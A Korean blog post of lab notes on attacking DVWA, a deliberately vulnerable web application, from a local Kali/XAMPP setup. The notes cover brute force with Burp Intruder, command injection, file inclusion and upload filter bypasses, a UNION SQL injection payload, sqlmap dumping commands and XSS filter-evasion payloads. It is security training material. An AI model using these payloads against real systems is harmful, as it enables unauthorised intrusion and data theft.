본문 바로가기
IT

DVWA 실습

by 판매자명단 2023. 8. 17.

XAMPP / DVWA

*kali linux 환경을 사용

https://sourceforge.net/projects/xampp/files/XAMPP%20Linux/5.6.40/

kali 에서 위 링크로 접속해 다운을 받아 XAMPP을 실행한다

모든 서버를 스타트 시켜준다

/opt/lampp/etc/php.ini

실습을 위해 console에서 위 파일을 열어 allow_url_include=Off > On으로 바꿔준후 restart all을 눌러 재시작해준다

xampp 페이지에서 database 생성

DVWA 1.9 버전을 다운받아서 

/opt/lampp/htdocs/dvwa 해당경로에 dvwa 이름으로 압축을 풀어준다

localhost/dvwa/setup.php

dvwa setup 페이지에 접속해준다

recaptcha key :

https://www.google.com/recaptcha/admin 

 

로그인 - Google 계정

이메일 또는 휴대전화

accounts.google.com

라벨 : dvwa

테스트(v2) > 로봇이 아닙니다

도메인 : localhost

/opt/lampp/htdocs/dvwa/config/config.inc.php > recaptcah 검색 > public_key = 사이트 키 , private_key=비밀키

 

아래 두개는 권한 문제 이므로 해당 경로 파일을

chmod 777 [경로]

하고 모두 초록색이 됐다면 

create/reset을 눌러준다 please login이 뜨면 성공

초기 아이디/비번 : admin/password

 

brupsuit

kali firefox > settings > network settings > http proxy 127.0.0.1:8080

 

burpsuit의 proxy 설정에 루프백 IP 확인

 

ip addr에서 받아온 IP를 확인하고 (현재환경 192.168.2.14) 해당 주소의 dvwa에 접속해보고

burp suit가 패킷을 잡는지 확인

무차별 대입 공격

우선 테스트를 위해 security level을 low 수준으로 낮춰준다

brute force에서 로그인을 burp suite에서 intercept 해준다

잡아온 패킷을 intruder로 보내준 후

무차별 대입 할 패스워드를 입력한후 공격을 시작하면 

length가 다른부분이 비밀번호이다

 

Command Injection

ping 만 사용가능한 device지만 뒤에 명령어를 이어붙이면 실행가능한걸 볼 수 있다

 

CSRF

공격자가 권한을 도용하여 특정 웹 사이트의 기능을 실행하게 할 수 있으며 이는 사용자의 의도와는 무관하게 이루어진다.

CSRF 취약점을 이용하면 공격자가 사용자의 계정으로 네이버 카페나 인스타그램, 페이스북 등 다수의 방문자가 있는 사이트에 광고성 혹은 유해한 게시글을 업로드 하는 것도 가능하다.

 

File inclusion

#/opt/lampp/htdocs/bad.php

<?php
        print "sucess!!";
?>

/opt/lampp/htdocs에 bad.php 파일을 하나 만든다

url의 page 부분을 http://127.0.0.1/bad.php로 바꾸고 입력시 php에 입력된 내용이 출력되는걸 확인 할 수 있다

 

Security Level Medium

medium에서는 http:// https:// 를 공백으로 치환해버린다 따라서 hthttptp://127.0.0.1/bad.php 와 같은 방식으로 우회해서 진행할 수 있다

File upload

Security Level 을 Low로 설정시 모든 파일이 업로드 된다 따라서 Medium으로 설정해서 진행

 

이미지 파일만 업로드 가능하다고한다 brup suite로 업로드 할때 intercept해서 파일 형식을 바꿔준다

content-type이 x-php로 되어있다 이걸 image/jpeg로 바꿔 준 후 foward해준다

잘 업로드 되는것을 확인 할 수 있다

sql injection

소스코드를 보면 $id 변수 부분에 select 문을 응용해서 다른 데이터베이스들을 불러올수있다

ex) 1' union select table_schema, table_name from information_schema.tables where table_schema='dvwa' #

> '1' union select table_schema, table_name from information_schema.tables where table_schema='dvwa' #'

#뒤는 주석처리로 ' 를 인식하지 않고 앞의 모든 내용을 select 문 전체로 인식해서 데이터를 불러온다

sqlmap

terminal에서

sqlmap -u '[url]' --cookie '[cookie]' 
-u : url
--cookie 쿠키정보 웹콘솔에서 alert(document.cookie) 하면 나옴

추가 옵션 sqlmap -h 확인

--tables
-D&nbsp;dvwa&nbsp;-T&nbsp;users&nbsp;--dump

각종 정보를 불러오는걸 확인할수있다

 

XSS

아무 이름이나 입력하고 burp suite로 intercept한다

스크립트를 짜서 내용을 url로 encoding해주고 name 부분에 넣어준 후 forward 해주면

로그 파일에 스크립트 내용이 올라온걸 볼 수 있다

 

security level = medium

<script> 부분만 공백으로 치환한다

위에서 했던것처럼 <sc<script>ript> 등의 방식으로 우회할수 있다

 

security level= high

중간에 끼워넣는다거나 대소문자 구별까지 전부 치환한다

script 문을 직접 쓰지 않고 html 태그 문서를 만든후

<img src=x onerror=window.location.assign("http://192.168.2.14/hacked.php")> 등을 입력해

해당 문서로 이동하게 만들어 우회할수있다

'IT' 카테고리의 다른 글

dot1x, radius, tacacs 설정  (0) 2023.09.26
SQL injection 실습  (0) 2023.08.21
컴퓨터 사용 흔적 찾기  (0) 2023.08.11